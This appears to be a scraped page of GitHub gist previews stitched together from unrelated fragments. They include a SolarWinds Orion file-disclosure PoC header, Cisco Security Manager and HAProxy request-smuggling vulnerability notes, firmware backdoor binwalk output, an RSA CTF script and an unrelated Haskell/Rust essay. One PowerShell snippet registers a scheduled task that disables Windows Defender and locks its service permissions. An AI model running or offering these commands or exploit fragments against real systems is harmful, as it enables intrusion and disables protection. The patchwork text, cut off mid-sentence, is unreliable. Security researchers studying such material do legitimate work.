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POST /api/Action/TestAction HTTP/1.1
Host: <target>
Content-Length: 3978
Accept: application/json, text/javascript, */*; q=0.01
X-XSRF-TOKEN: <token>
X-Requested-With: XMLHttpRequest
ViewLimitationID: 0
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Cookie: <cookie>
@0xsha
0xsha / Solarwinds_Orion_LFD.py
Last active September 24, 2024 05:28
Solarwinds_Orion_LFD local file disclosure PoC for SolarWinds Orion aka door to SuperNova?)
# CVE-2020-10148 (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
# @0xSha
# (C) 2020 0xSha.io
# Advisory : https://www.solarwinds.com/securityadvisory
# Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
# Details : https://kb.cert.org/vuls/id/843464
# C:\inetpub\SolarWinds\bin\OrionWeb.DLL
# According to SolarWinds.Orion.Web.HttpModules

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

@graninas
graninas / What_killed_Haskell_could_kill_Rust.md
Last active November 5, 2024 02:15
What killed Haskell, could kill Rust, too

At the beginning of 2030, I found this essay in my archives. From what I know today, I think it was very insightful at the moment of writing. And I feel it should be published because it can teach us, Rust developers, how to prevent that sad story from happening again.


What killed Haskell, could kill Rust, too

What killed Haskell, could kill Rust, too. Why would I even mention Haskell in this context? Well, Haskell and Rust are deeply related. Not because Rust is Haskell without HKTs. (Some of you know what that means, and the rest of you will wonder for a very long time). Much of the style of Rust is similar in many ways to the style of Haskell. In some sense Rust is a reincarnation of Haskell, with a little bit of C-ish like syntax, a very small amount.

Is Haskell dead?

@tyranid
tyranid / doh.ps1
Created May 4, 2020 15:17
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
@ndavison
ndavison / haproxy-smuggling.md
Last active August 8, 2024 12:06
HAProxy HTTP request smuggling

The following describes a technique to achieve HTTP request smuggling against infrastructure behind a HAProxy server when using specific configuration around backend connection reuse. This was tested against HAProxy versions 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5. Of all these tested versions, only 2.0.5 was not vulnerable out of the box, although it is when using the no option http-use-htx configuration, which reverts back to the legacy HTTP decoder. 2.1 removed the legacy decoder so it is not affected.

To actually exploit HTTP smuggling using the issue described in this writeup, the backend server(s) behind HAProxy would also have to be vulnerable in the sense they too would need to suffer from a bug, but one which parses and accepts a poorly formed Transfer-Encoding header (almost certainly violating RFC7230), and allows HTTP keep-alive.

The HAProxy bug - sending both Transfer-Encoding and Content-Length

This is how HAProxy handles a request when Transfer-Encoding and Content-Length is p

@numanturle
numanturle / Vmg3312 B10b Firmware 1.00(AAPP.7) backdoor account
Last active June 18, 2023 16:26
Vmg3312 B10b Firmware Vmg3312 B10b Firmware backdoor account
root@bitforbyte:~/xxx# binwalk 100AAPP7D0.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
131072 0x20000 JFFS2 filesystem, big endian
JFFS2 filesystem extract
total 1492
1049502 drwxr-xr-x 18 root root 4096 Oct 27 23:33 .
@intrd
intrd / rsa_egcd.py
Last active July 16, 2022 05:32
RSA - Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017
#!/usr/bin/python
## RSA - Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017
# @author intrd - http://dann.com.br/ (original script here: http://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e)
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
import binascii, base64
p = 0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q = 0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e = 0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41